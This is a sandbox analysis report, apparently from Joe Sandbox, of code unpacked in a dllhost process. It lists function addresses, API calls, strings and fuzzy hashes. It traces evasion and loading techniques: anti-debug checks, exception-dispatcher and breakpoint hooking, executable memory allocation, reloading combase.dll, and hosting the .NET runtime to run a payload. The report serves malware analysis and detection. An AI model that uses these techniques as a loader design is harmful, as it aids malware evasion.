Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: ProtectVirtual$AddressProc$HandleModule
String ID: DbgBreakPoint$DbgUserBreakPoint$ntdll.dll
API String ID: 2768151571-2163194510
Opcode ID: dc61deef4fa4a8389b5bc066f4f6e32763e1d74a14b8d98a62bb532b6e57c122
Instruction ID: 3f854206d3d5076221b1d09f819529f2bcf6369cecf85685e806e0c7a52382f1
Opcode Fuzzy Hash: dc61deef4fa4a8389b5bc066f4f6e32763e1d74a14b8d98a62bb532b6e57c122
Instruction Fuzzy Hash: FE01D8772083057FD2119655AC40F7B7BBCDBC6574F10021EFF55A21819B74E415467A

Function 7FE41755 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 162
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 7FE4257F: lstrlen.KERNEL32(?,?,?,00000000,?,7FE41777,?,/etc/plugins.plist,?), ref: 7FE4259C

strncmp.NTDLL ref: 7FE4180B
malloc.MSVCRT ref: 7FE4186C
memcpy.NTDLL(00000008,?,?), ref: 7FE41889
free.MSVCRT ref: 7FE418FC

Strings

/etc/plugins.plist, xrefs: 7FE41765
x86, xrefs: 7FE41805
MZ, xrefs: 7FE418CA

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: freelstrlenmallocmemcpystrncmp
String ID: /etc/plugins.plist$MZ$x86
API String ID: 3682158708-1713858012
Opcode ID: 54bb9ffcdce75293fdea451ea1764c5140780be0e9db6a82e14bb8dd9a51f797
Instruction ID: 957808bbf470da9d99de4376462d0edb45fc24e4bfde69fd6e974ca862a0dbb1
Opcode Fuzzy Hash: 54bb9ffcdce75293fdea451ea1764c5140780be0e9db6a82e14bb8dd9a51f797
Instruction Fuzzy Hash: BA510A76D012199FCF01CFE4D9849EEB7B9FF48228F24556EE916B7200E734AA45CB60

Function 7FE42459 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.MSVCRT ref: 7FE424ED
malloc.MSVCRT ref: 7FE42533
memcpy.NTDLL(00000008,00000000,?,?,00000000,?), ref: 7FE42552
free.MSVCRT ref: 7FE4255B

Strings

!, xrefs: 7FE42518
S, xrefs: 7FE4251D
k, xrefs: 7FE42523

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: callocfreemallocmemcpy
String ID: !$S$k
API String ID: 861552148-1352728671
Opcode ID: c9b9c47c16ca03e766a67db26b61f7cbb891e1b8cbf3b34d4765739f8dd69da7
Instruction ID: 604d0970c97af9f6bca1788cb46740802a4dd3dc1fb44fca78aaa917fe2bbe24
Opcode Fuzzy Hash: c9b9c47c16ca03e766a67db26b61f7cbb891e1b8cbf3b34d4765739f8dd69da7
Instruction Fuzzy Hash: 7A316C729087519AE721CE29E850672BFEADFC1315F14C85EF0BFC6442D778E1498722

Function 004E0273 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 232memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,?), ref: 004E0391
VirtualAlloc.KERNELBASE(00000000,?,00101000,00000040), ref: 004E04A1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004E050B

Strings

S, xrefs: 004E03D1
k, xrefs: 004E03DB
!, xrefs: 004E03C8

Memory Dump Source

Source File: 00000007.00000003.1819957448.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4e0000_dllhost.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID: !$S$k
API String ID: 3668210933-1352728671
Opcode ID: 9b9b3c59536dfe2ac67a7b67f04a7fb9125a8182ea0d4415f552f70be9e8cc3c
Instruction ID: 57d0d97d7b980fa1d3603197d54aa913a39d952eef75df4d28fbe8f2348370fd
Opcode Fuzzy Hash: 9b9b3c59536dfe2ac67a7b67f04a7fb9125a8182ea0d4415f552f70be9e8cc3c
Instruction Fuzzy Hash: 2F918771D00269EBDF24CF96C884BAEBBF5AF04306F04855AE965A7241D3B8ED84CF54

Function 7FE31D81 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(7FE31BB3,00000000,?,?,?,?,?,?,?,7FE31BB3,combase.dll,%Systemroot%\system32\combase.dll), ref: 7FE31D8C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,7FE31BB3,combase.dll,%Systemroot%\system32\combase.dll), ref: 7FE31DA1

Part of subcall function 7FE31C06: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
Part of subcall function 7FE31C06: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
Part of subcall function 7FE31C06: GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
Part of subcall function 7FE31C06: malloc.MSVCRT ref: 7FE31C67
Part of subcall function 7FE31C06: ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 7FE31C82
Part of subcall function 7FE31C06: VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 7FE31CB6
Part of subcall function 7FE31C06: memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
Part of subcall function 7FE31C06: memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
Part of subcall function 7FE31C06: free.MSVCRT ref: 7FE31D06
Part of subcall function 7FE31C06: CloseHandle.KERNELBASE(7FE319D1), ref: 7FE31D10

IsBadReadPtr.KERNEL32(7FE31BB3,00000080), ref: 7FE31E42
IsBadReadPtr.KERNEL32(7FE31BB3,00000080), ref: 7FE31E4E

Part of subcall function 7FE31EEA: memcmp.MSVCRT(7FE31BB3,7FE31E6D,7FE31E6D,7FE31BB3,?,00000080,?,7FE31E6D,7FE31BB3,7FE31BB3,00000080,?,?,?,00000000), ref: 7FE31F0D

memcpy.MSVCRT(7FE31BB3,7FE31BB3,?,?,?,00001000,00000040,00000004,?,?,?,?,?,?,00000000), ref: 7FE31EA2
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,00000000,?,?,?,?,?,?,?,7FE31BB3,combase.dll), ref: 7FE31EDF

Memory Dump Source

Source File: 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_7fe31000_dllhost.jbxd

Similarity

API ID: FileReadmemcpy$HandleVirtual$AllocCloseCreateCurrentEnvironmentExpandFreeModuleProcessSizeStringsfreemallocmemcmp
String ID:
API String ID: 1807237107-0
Opcode ID: 65760951e2fbb1f37c2ca01f434e78f1b247da36f8d6a80a04fa196cab3b0387
Instruction ID: e66e30e26c8d651dff7f802cc7b867a7bcfc757d2cd4cd66e8dd7680ebece615
Opcode Fuzzy Hash: 65760951e2fbb1f37c2ca01f434e78f1b247da36f8d6a80a04fa196cab3b0387
Instruction Fuzzy Hash: 32416275D00209EFDF019FA6CD88AAEBBBAFF44364F54412EE902E7150E735A954CB60

Function 7FE41EF2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,ZwQueryInformationProcess), ref: 7FE41F00
VirtualProtect.KERNELBASE(00000001,00000004,00000040,?,7FE41EA9,00000000,?,?,?,?), ref: 7FE41F48
InterlockedExchange.KERNEL32(?,7FE41EA4), ref: 7FE41F57
VirtualProtect.KERNELBASE(?,00000004,?,?), ref: 7FE41F69

Strings

ZwQueryInformationProcess, xrefs: 7FE41EF8

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: ProtectVirtual$AddressExchangeInterlockedProc
String ID: ZwQueryInformationProcess
API String ID: 1726986358-1584433389
Opcode ID: cca9fdba920f07e8de881a81ace27208a19ae97a59725a68c8e7acdeb786ef06
Instruction ID: 9d314fcda45d8e175856064bc7b8333d7a3f38f698c62f2d4cac807126b7cea3
Opcode Fuzzy Hash: cca9fdba920f07e8de881a81ace27208a19ae97a59725a68c8e7acdeb786ef06
Instruction Fuzzy Hash: 4F015B3630020ABBDF024EA1DD45FEA3F7AEF856E4F140129FE099A090D731E5668B94

Function 7FE41E0E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 7FE41E1C
GetProcAddress.KERNEL32(00000000,KiUserExceptionDispatcher), ref: 7FE41E2A

Part of subcall function 7FE411B0: memset.NTDLL ref: 7FE411D2

Strings

KiUserExceptionDispatcher, xrefs: 7FE41E24
ntdll.dll, xrefs: 7FE41E17

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: KiUserExceptionDispatcher$ntdll.dll
API String ID: 3137504439-391726712
Opcode ID: 11d2593c27cc74ef7a9c2590feb6ed6d42a7dd48463c0d874392180369953c0b
Instruction ID: bf9c5516763da571611dd8505f09cccef45188715b9c227fe0ff8b64459f62f7
Opcode Fuzzy Hash: 11d2593c27cc74ef7a9c2590feb6ed6d42a7dd48463c0d874392180369953c0b
Instruction Fuzzy Hash: EA11B97AD01306BBCF129B66AC80CBFBB7DFF85264B21165EF90597101E734E55187A0

Function 7FE4344E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11
librarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiA.KERNEL32(?,psdk.dll), ref: 7FE43457
LoadLibraryA.KERNEL32(?), ref: 7FE4346D

Strings

psdk.dll, xrefs: 7FE4344E

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: LibraryLoadlstrcmpi
String ID: psdk.dll
API String ID: 2835099494-3943316854
Opcode ID: 658ba54a6e6afa1ceea7d99fffde5ae9c732553f25227634ff1798c6c998681e
Instruction ID: 97d830ea87723066c88d8f375328ca6ed4df18e57f180154a0a5a4c893f5857c
Opcode Fuzzy Hash: 658ba54a6e6afa1ceea7d99fffde5ae9c732553f25227634ff1798c6c998681e
Instruction Fuzzy Hash: F4C0C939208300ABDA024B55E908A197BA7AB80A55B54851CB84584120C330D429AB02

Function 7FE4194A Relevance: 5.1, APIs: 4, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 7FE4257F: lstrlen.KERNEL32(?,?,?,00000000,?,7FE41777,?,/etc/plugins.plist,?), ref: 7FE4259C

VirtualAlloc.KERNELBASE(00000000,?,00101000,00000040,00000000,?,?,?), ref: 7FE419A3
memcpy.NTDLL(00000000,?,?), ref: 7FE419C2
memcpy.NTDLL(?,?,00000000), ref: 7FE419EC
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 7FE41A4D

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: Virtualmemcpy$AllocFreelstrlen
String ID:
API String ID: 788548360-0
Opcode ID: cee9e5a2a796590ad135f83df95848a426f52fc6f6f870058f101b6e77233287
Instruction ID: d3b4805ca6afd1a5d8c4d5f4bd2ba4f5957bf034018e57e24973636439659fbd
Opcode Fuzzy Hash: cee9e5a2a796590ad135f83df95848a426f52fc6f6f870058f101b6e77233287
Instruction Fuzzy Hash: 6B31F672900304BFCF228F65ED45ABE77A9EF40369B20551EF906E3100E738E910A760

Function 7FE42018 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 7FE42233: GetModuleHandleA.KERNEL32(ntdll.dll,ZwQueryInformationProcess,?,?,?,?,7FE42071), ref: 7FE42251
Part of subcall function 7FE42233: GetProcAddress.KERNEL32(00000000), ref: 7FE4225A
Part of subcall function 7FE42233: GetCurrentProcess.KERNEL32(00000022,00000000,00000004,?,?,?,?,7FE42071), ref: 7FE4226F
Part of subcall function 7FE42233: NtQueryInformationProcess.NTDLL(00000000,?,?,?,7FE42071), ref: 7FE42276
Part of subcall function 7FE42233: GetModuleHandleA.KERNEL32(ntdll,ZwQueryInformationProcess,?,?,?,7FE42071), ref: 7FE42291
Part of subcall function 7FE42233: GetProcAddress.KERNEL32(00000000), ref: 7FE42294

SetErrorMode.KERNELBASE(?,?,?,00000000,?), ref: 7FE42078

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProcProcess$CurrentErrorInformationModeQuery
String ID:
API String ID: 3103590671-0
Opcode ID: 452d2c7bb0da9ed907b922516a740015770f6e4014572d1439f8c07491cb26c7
Instruction ID: c81483a2e740596f7359404f4a145b5a53b95d5c3c8a9364d5f7ea15b65275e3
Opcode Fuzzy Hash: 452d2c7bb0da9ed907b922516a740015770f6e4014572d1439f8c07491cb26c7
Instruction Fuzzy Hash: 42F0C2B29003017AEB116BA1AD01FBF36BEDF51744F11210CFE0295040F7E8E111CA22

Function 7FE420EC Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 7FE420F4

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e58fb04bf8307ef9e59311ad68e6793ee857856729bfdc2c679c958526c6e4bd
Instruction ID: bbe97fb0fdf796f7d02d65c7dead2db828113409e6ff866594b2fea672e426be
Opcode Fuzzy Hash: e58fb04bf8307ef9e59311ad68e6793ee857856729bfdc2c679c958526c6e4bd
Instruction Fuzzy Hash: 71A00134108202AFCE029B14C84884ABFA1AF89391F048898B48987230C73198919A02

Function 7FE433B8 Relevance: 1.5, APIs: 1, Instructions: 3
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 7FE433BC

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cdfcc11e70e0831f7f02528ebe527d00d7d7741163f98bb48def171ba165424e
Instruction ID: 3afe84d9f853e1a58d27be4bc39f2d296b439f338d3e94088f2da92acf5e3481
Opcode Fuzzy Hash: cdfcc11e70e0831f7f02528ebe527d00d7d7741163f98bb48def171ba165424e
Instruction Fuzzy Hash: B390023950D101DBCE065B51D90C5197F67AB81351B148458B44540130C7314476DB12

Function 004F0011 Relevance: 1.3, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,?,004F0011,004F0005), ref: 004F003E

Memory Dump Source

Source File: 00000007.00000002.1820325371.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_dllhost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 40190bf7e8cdf14306e3f29afdb8aada469a28eae5e895cba225020993eae487
Instruction ID: 3c1f301522ef5015434a46749cad76ea0735bcdf9e2ead10c693429966e108f8
Opcode Fuzzy Hash: 40190bf7e8cdf14306e3f29afdb8aada469a28eae5e895cba225020993eae487
Instruction Fuzzy Hash: ADE0BF34240705AFDB305A35DC49F97B7E8AF44750F108819B5DAE7291CA64F8418B18

Function 7FE4256C Relevance: 1.3, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 7FE42577

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fd9a7ee28f7a9333433644eb5513e4b942047d29e54c439f2e627505d0e5c23
Instruction ID: f565952d912d69a959799ff31dc89a885d8eb9134e4b96f74b8ad5ccf2072eb3
Opcode Fuzzy Hash: 2fd9a7ee28f7a9333433644eb5513e4b942047d29e54c439f2e627505d0e5c23
Instruction Fuzzy Hash: 18B09235009300EBCA014E90D6083A9BBA6EB80616F20841CB057100A087344824EA02

Non-executed Functions

Function 7FE436D4 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 233memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 7FE436E1

Part of subcall function 7FE43663: LoadLibraryW.KERNEL32(mscoree.dll,00000000,X>(",00000000,00033400,?,7FE43722,?), ref: 7FE43671

SafeArrayCreate.OLEAUT32(00000011,00000001,?), ref: 7FE4377B
memcpy.NTDLL(?,?,X>("), ref: 7FE437AB
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 7FE4381A
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 7FE43831
GetCommandLineW.KERNEL32(?), ref: 7FE43853
CommandLineToArgvW.SHELL32(00000000), ref: 7FE4385A
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 7FE4386D
SafeArrayCreateVector.OLEAUT32(00000008,00000000,?), ref: 7FE43881
SysAllocString.OLEAUT32(00000000), ref: 7FE43894
SafeArrayPutElement.OLEAUT32(7FE42E35,?,00000000), ref: 7FE438A2
SafeArrayCreateVector.OLEAUT32(00000008,00000000,00000001), ref: 7FE438BA
SysAllocString.OLEAUT32(7FE453F4), ref: 7FE438C4
SafeArrayPutElement.OLEAUT32(7FE42E35,?,00000000), ref: 7FE438D2
SafeArrayDestroy.OLEAUT32(7FE42E35), ref: 7FE4390E
SafeArrayDestroy.OLEAUT32(?), ref: 7FE43913
SafeArrayDestroy.OLEAUT32(00000000), ref: 7FE4392B

Strings

X>(", xrefs: 7FE43700, 7FE4378E

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: ArraySafe$Create$DestroyVector$AllocBoundCommandElementLineString$ArgvInitializeLibraryLoadmemcpy
String ID: X>("
API String ID: 1402434309-2302009221
Opcode ID: 5e5e04b494e50c0cdfeba50543377363f6c7516b20a2b1ab4e64372355080cbf
Instruction ID: fc6f7cf24404cfcf3d7afd4173260bed971fdfda6a4a432beba6904d6f1273b5
Opcode Fuzzy Hash: 5e5e04b494e50c0cdfeba50543377363f6c7516b20a2b1ab4e64372355080cbf
Instruction Fuzzy Hash: 49916C75A00209EFDB00DFA5C884AEEBBB9FF48354F104068F90AEB260D731A956DF51

Function 7FE434AF Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,CorBindToRuntime), ref: 7FE434E6
GetProcAddress.KERNEL32(?,GetCORVersion), ref: 7FE434F1
GetProcAddress.KERNEL32(?,GetRequestedRuntimeInfo), ref: 7FE434FC
wcscmp.NTDLL ref: 7FE43525
wcscmp.NTDLL ref: 7FE43544

Strings

CorBindToRuntime, xrefs: 7FE434DD
v2.0.50727, xrefs: 7FE434CA
2, xrefs: 7FE4350D
GetRequestedRuntimeInfo, xrefs: 7FE434F3
GetCORVersion, xrefs: 7FE434E8
v1.0.3705, xrefs: 7FE4351C, 7FE43521, 7FE43542

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressProc$wcscmp
String ID: 2$CorBindToRuntime$GetCORVersion$GetRequestedRuntimeInfo$v1.0.3705$v2.0.50727
API String ID: 983638816-2194063276
Opcode ID: 851bd8ff7da982f9098ecc1943af40099da2c3e3c62217fab860e5e858954dc2
Instruction ID: 3e50560d5e1eeb36687fdd8f9e3dcfe970e9a1f44889845de766484beba81e0f
Opcode Fuzzy Hash: 851bd8ff7da982f9098ecc1943af40099da2c3e3c62217fab860e5e858954dc2
Instruction Fuzzy Hash: F6210E76D00309BFDF11CFE6DD849EEBBBDAB042A4F10912EB916E6140D774E604AB50

Function 7FE432D4 Relevance: 9.1, APIs: 6, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,7FE453D0,00000000,7FE42E0C,7FE453D0), ref: 7FE43310
RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 7FE4331F
memcpy.NTDLL(00000000,22283E58,?), ref: 7FE4333F
memcpy.NTDLL(?,22283E58,00000000), ref: 7FE4336A
IsBadReadPtr.KERNEL32(?,?), ref: 7FE43391
HeapFree.KERNEL32(?,00000000,?), ref: 7FE433AA

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: Heap$memcpy$AllocateFreeProcessRead
String ID:
API String ID: 722247336-0
Opcode ID: 552fac5a70bfc6c263aafda12b09075c372027dd2ebab31769e8de2eac42fedc
Instruction ID: e3500ff868ffef222200554de9f898f7f0b9cc85ff7932ac3d777bba641bc37d
Opcode Fuzzy Hash: 552fac5a70bfc6c263aafda12b09075c372027dd2ebab31769e8de2eac42fedc
Instruction Fuzzy Hash: 8F218D76900300EFCB11CFA9D884BAAB7F9FF44349F148459F91AE7111D771A598EB60

Function 7FE43663 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(mscoree.dll,00000000,X>(",00000000,00033400,?,7FE43722,?), ref: 7FE43671

Part of subcall function 7FE434AF: GetProcAddress.KERNEL32(?,CorBindToRuntime), ref: 7FE434E6
Part of subcall function 7FE434AF: GetProcAddress.KERNEL32(?,GetCORVersion), ref: 7FE434F1
Part of subcall function 7FE434AF: GetProcAddress.KERNEL32(?,GetRequestedRuntimeInfo), ref: 7FE434FC
Part of subcall function 7FE434AF: wcscmp.NTDLL ref: 7FE43525
Part of subcall function 7FE434AF: wcscmp.NTDLL ref: 7FE43544

Strings

v2.0.50727, xrefs: 7FE4367D, 7FE43683, 7FE436A9, 7FE436C3
X>(", xrefs: 7FE43668
mscoree.dll, xrefs: 7FE4366A
v4.0.30319, xrefs: 7FE43689, 7FE4368F, 7FE436B6

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressProc$wcscmp$LibraryLoad
String ID: X>("$mscoree.dll$v2.0.50727$v4.0.30319
API String ID: 3438369058-3763104332
Opcode ID: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction ID: d3d31f5be46057649fb9b99c077c88d5e31ad3076790e6f087b55fb3520f1749
Opcode Fuzzy Hash: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction Fuzzy Hash: 26F0A972902325BFF71296657D41EFB75ACCB411D4F1021ADF901A2240D6B09E0076B5

Function 7FE31BC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,7FE319C5,00000000), ref: 7FE31BD6
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 7FE31BE2

Strings

kernel32.dll, xrefs: 7FE31BD1
IsWow64Process, xrefs: 7FE31BDC

Memory Dump Source

Source File: 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_7fe31000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32.dll
API String ID: 1646373207-3024904723
Opcode ID: fa89db43dd185a1453fcf4f790fbcd5a175520637a84c9a2fa416bbfb15f58e2
Instruction ID: 54fe31d5977995978b315a9fd433e02c4f518c0bef640df39cf22da13bcb4d8d
Opcode Fuzzy Hash: fa89db43dd185a1453fcf4f790fbcd5a175520637a84c9a2fa416bbfb15f58e2
Instruction Fuzzy Hash: E6E03039E0030AAFDB01CBA5CA0DF9DB6BDAF4526AB604159A805D6000E735D614EA10

Function 7FE43629 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(7FE436C9,CorBindToRuntime), ref: 7FE43635

Strings

CorBindToRuntime, xrefs: 7FE4362A
v2.0.50727, xrefs: 7FE43629
wks, xrefs: 7FE4364D

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressProc
String ID: CorBindToRuntime$v2.0.50727$wks
API String ID: 190572456-3347351501
Opcode ID: 1c952edf47f5d967c480487307a17a198ad8a415b3d2b670942881798b77bc7c
Instruction ID: 0c5fc14341107e3be1e4a3b148c5bf2aaf3a514f9beb35c349b5f130446ce887
Opcode Fuzzy Hash: 1c952edf47f5d967c480487307a17a198ad8a415b3d2b670942881798b77bc7c
Instruction Fuzzy Hash: FCD02E32308323ABD6119E657C00FBABBA6AF402C0F00372DBE80EC124C341D035A38A

Function 7FE411B0 Relevance: 6.5, APIs: 1, Strings: 3, Instructions: 456COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 7FE411D2

Strings

$, xrefs: 7FE412D2
DbgUserBreakPoint, xrefs: 7FE41453
, xrefs: 7FE415A6

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: memset
String ID: $$$DbgUserBreakPoint
API String ID: 2221118986-3284380563
Opcode ID: f41bbd2ad5d204c1819bf145e7111d98b5bb1373749e436e17a0d8b8869e6680
Instruction ID: bbb4ff28fefea5246b1a415e85eba509f200322f977f728c9ce93df5bd6fac56
Opcode Fuzzy Hash: f41bbd2ad5d204c1819bf145e7111d98b5bb1373749e436e17a0d8b8869e6680
Instruction Fuzzy Hash: 8F02F3148097C499DF138A68A0503FDBFF25F43228F28A68DE4E34B6E7C27D6249D356

Function 7FE31064 Relevance: 6.5, APIs: 1, Strings: 3, Instructions: 456COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 7FE31086

Strings

$, xrefs: 7FE31186
, xrefs: 7FE3145A
combase.dll, xrefs: 7FE31307

Memory Dump Source

Source File: 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_7fe31000_dllhost.jbxd

Similarity

API ID: memset
String ID: $$$combase.dll
API String ID: 2221118986-1187780485
Opcode ID: a92cfde426eaf275d4cdb4ff5bbffa1fe7b5514eabfb562f5d1dbc9aa72339ae
Instruction ID: 073b19536da68552c2ef516f0e74b594634c8d8f7233081d7479257ca9af4b1c
Opcode Fuzzy Hash: a92cfde426eaf275d4cdb4ff5bbffa1fe7b5514eabfb562f5d1dbc9aa72339ae
